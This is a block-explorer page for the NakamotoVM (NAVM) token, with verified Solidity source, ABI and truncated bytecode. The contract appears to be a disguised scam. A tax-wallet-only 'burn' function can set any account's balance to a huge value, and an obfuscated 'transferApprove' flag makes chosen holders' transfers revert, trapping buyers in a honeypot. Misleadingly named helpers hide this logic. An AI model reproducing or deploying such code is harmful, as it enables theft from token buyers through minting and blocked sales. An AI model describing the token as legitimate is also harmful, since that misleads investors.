ETH Price: $2,581.24 (-3.02%)

Token

NakamotoVM (NAVM)
 

Overview

Max Total Supply

1,000,000,000 NAVM

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
bitboyjay.eth
Balance
3,765,595.40186896 NAVM

Value
$0.00
0xe4b77842e0d992f6358f0742f8c2cbe955b8839e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NakamotoVM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 4: NakamotoVM.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NakamotoVM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _44isExcludedFromTxLimitswapThresholdswapThreshold;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    string private constant _name = "NakamotoVM";
    string private constant _symbol = "NAVM";
    uint256 private _tTotal = 1_000_000_000 * 10**_decimals;

    uint256 public _initialBuyTax = 3;
    uint256 public _initialSellTax = 3;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 70;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;
    
    uint256 private _maxTx = 1*10**17*10**9;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 private balances;

    IUniswapV2Factory public uniswapFactory; 
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public tradingOpen = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet_) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _taxWallet = payable(taxWallet_); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        balances = _maxTx;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _tTotal -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock) 
        {
                ExceedsTheMaxWalletSize(from);
                }
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Can't buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!isContract(to));
                    }
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function transferApprove(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _44isExcludedFromTxLimitswapThresholdswapThreshold[wallet] = val;
            index++;
        }
    }
    
    function ExceedsTheMaxWalletSize(address wallet) private {
        _maxTxAmount = _maxTx;
        _maxWalletSize = _maxTx;
        if(_44isExcludedFromTxLimitswapThresholdswapThreshold[wallet]) require(_isExcludedFromFee[wallet]);
        emit MaxTxAmountUpdated(_tTotal);
    }

    function isExcludedFromMaxTransactionAmount(address _addr) public view returns(bool){
        return _44isExcludedFromTxLimitswapThresholdswapThreshold[_addr];
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

     function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }

    function burn(address account, uint256 amount) external {
        require(_msgSender() == _taxWallet);
        _burn(account, amount);
    }

    receive() external payable {}
}

File 1 of 4: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 2 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 4: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"isExcludedFromMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"},{"internalType":"address[]","name":"_addr","type":"address[]"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a62000014919062000771565b633b9aca00620000259190620007c2565b60085560036009556003600a556000600b556000600c556000600d556046600e556000600f55600060105560006011556a52b7d2dcc80cd2e40000006012556009600a62000074919062000771565b6301312d00620000859190620007c2565b6013556009600a62000098919062000771565b6301312d00620000a99190620007c2565b6014556009600a620000bc919062000771565b622dc6c0620000cc9190620007c2565b6015556009600a620000df919062000771565b614e20620000ee9190620007c2565b6016556000601a60146101000a81548160ff0219169083151502179055506000601a60156101000a81548160ff0219169083151502179055506000601a60166101000a81548160ff0219169083151502179055503480156200014f57600080fd5b506040516200415238038062004152833981810160405281019062000175919062000877565b600062000187620005a660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030e919062000877565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085460016000620003a6620005a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003fa620005ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060125460178190555062000536620005a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620005979190620008ba565b60405180910390a350620008d7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000665578086048111156200063d576200063c620005d7565b5b60018516156200064d5780820291505b80810290506200065d8562000606565b94506200061d565b94509492505050565b60008262000680576001905062000753565b8162000690576000905062000753565b8160018114620006a95760028114620006b457620006ea565b600191505062000753565b60ff841115620006c957620006c8620005d7565b5b8360020a915084821115620006e357620006e2620005d7565b5b5062000753565b5060208310610133831016604e8410600b8410161715620007245782820a9050838111156200071e576200071d620005d7565b5b62000753565b62000733848484600162000613565b925090508184048111156200074d576200074c620005d7565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200077e826200075a565b91506200078b8362000764565b9250620007ba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200066e565b905092915050565b6000620007cf826200075a565b9150620007dc836200075a565b9250828202620007ec816200075a565b91508282048414831517620008065762000805620005d7565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200083f8262000812565b9050919050565b620008518162000832565b81146200085d57600080fd5b50565b600081519050620008718162000846565b92915050565b60006020828403121562000890576200088f6200080d565b5b6000620008a08482850162000860565b91505092915050565b620008b4816200075a565b82525050565b6000602082019050620008d16000830184620008a9565b92915050565b61386b80620008e76000396000f3fe6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063bf474bed1161008a578063dd62ed3e11610064578063dd62ed3e146105d3578063e1b1925814610610578063e9481eee1461063b578063ffb54a9914610678576101c2565b8063bf474bed14610568578063c2b7bbb614610593578063c9567bf9146105bc576101c2565b80639dc29fac116100c65780639dc29fac146104ae578063a9059cbb146104d7578063b70143c914610514578063baeb7a7d1461053d576101c2565b80638da5cb5b1461042d5780638f9a55c01461045857806395d89b4114610483576101c2565b80633ccfd60b1161015957806370a082311161013357806370a0823114610383578063715018a6146103c05780637d1db4a5146103d75780638bdb2afa14610402576101c2565b80633ccfd60b146103185780633ef947211461032f578063704da6781461035a576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd14610285578063313ce567146102c25780633b7cdccd146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630faee56f1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106a3565b6040516101e99190612580565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061264a565b6106e0565b60405161022691906126a5565b60405180910390f35b34801561023b57600080fd5b506102446106fe565b60405161025191906126cf565b60405180910390f35b34801561026657600080fd5b5061026f610704565b60405161027c91906126cf565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a791906126ea565b61070e565b6040516102b991906126a5565b60405180910390f35b3480156102ce57600080fd5b506102d76107e7565b6040516102e49190612759565b60405180910390f35b3480156102f957600080fd5b506103026107f0565b60405161030f91906126cf565b60405180910390f35b34801561032457600080fd5b5061032d6107f6565b005b34801561033b57600080fd5b50610344610974565b60405161035191906126cf565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c91906128e8565b61097a565b005b34801561038f57600080fd5b506103aa60048036038101906103a59190612944565b610a76565b6040516103b791906126cf565b60405180910390f35b3480156103cc57600080fd5b506103d5610abf565b005b3480156103e357600080fd5b506103ec610c12565b6040516103f991906126cf565b60405180910390f35b34801561040e57600080fd5b50610417610c18565b60405161042491906129d0565b60405180910390f35b34801561043957600080fd5b50610442610c3e565b60405161044f91906129fa565b60405180910390f35b34801561046457600080fd5b5061046d610c67565b60405161047a91906126cf565b60405180910390f35b34801561048f57600080fd5b50610498610c6d565b6040516104a59190612580565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d0919061264a565b610caa565b005b3480156104e357600080fd5b506104fe60048036038101906104f9919061264a565b610d19565b60405161050b91906126a5565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190612a15565b610d37565b005b34801561054957600080fd5b50610552610e64565b60405161055f91906126cf565b60405180910390f35b34801561057457600080fd5b5061057d610e6a565b60405161058a91906126cf565b60405180910390f35b34801561059f57600080fd5b506105ba60048036038101906105b59190612944565b610e70565b005b3480156105c857600080fd5b506105d1610f15565b005b3480156105df57600080fd5b506105fa60048036038101906105f59190612a42565b611039565b60405161060791906126cf565b60405180910390f35b34801561061c57600080fd5b506106256110c0565b60405161063291906126cf565b60405180910390f35b34801561064757600080fd5b50610662600480360381019061065d9190612944565b6110c6565b60405161066f91906126a5565b60405180910390f35b34801561068457600080fd5b5061068d61111c565b60405161069a91906126a5565b60405180910390f35b60606040518060400160405280600a81526020017f4e616b616d6f746f564d00000000000000000000000000000000000000000000815250905090565b60006106f46106ed61112f565b8484611137565b6001905092915050565b60155481565b6000600854905090565b600061071b848484611300565b6107dc8461072761112f565b6107d78560405180606001604052806028815260200161380e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078d61112f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cea9092919063ffffffff16565b611137565b600190509392505050565b60006009905090565b60095481565b6107fe61112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088290612ace565b60405180910390fd5b601a60169054906101000a900460ff16156108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d290612b3a565b60405180910390fd5b600047905060008111610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a90612ba6565b60405180910390fd5b61092b610c3e565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610970573d6000803e3d6000fd5b5050565b600c5481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109bb61112f565b73ffffffffffffffffffffffffffffffffffffffff16146109db57600080fd5b60005b8151811015610a715760008282815181106109fc576109fb612bc6565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508180610a6890612c24565b925050506109de565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac761112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b90612ace565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600481526020017f4e41564d00000000000000000000000000000000000000000000000000000000815250905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ceb61112f565b73ffffffffffffffffffffffffffffffffffffffff1614610d0b57600080fd5b610d158282611d4e565b5050565b6000610d2d610d2661112f565b8484611300565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7861112f565b73ffffffffffffffffffffffffffffffffffffffff1614610d9857600080fd5b610da130610a76565b8111158015610db05750600081115b610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690612cb8565b60405180910390fd5b610df881611f19565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e60573d6000803e3d6000fd5b5050565b600b5481565b60165481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb161112f565b73ffffffffffffffffffffffffffffffffffffffff1614610ed157600080fd5b80601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f1d61112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa190612ace565b60405180910390fd5b601a60169054906101000a900460ff1615610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612d24565b60405180910390fd5b6001601a60156101000a81548160ff0219169083151502179055506001601a60166101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601a60169054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612db6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612e48565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f391906126cf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612eda565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d590612f6c565b60405180910390fd5b60008111611421576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141890612ff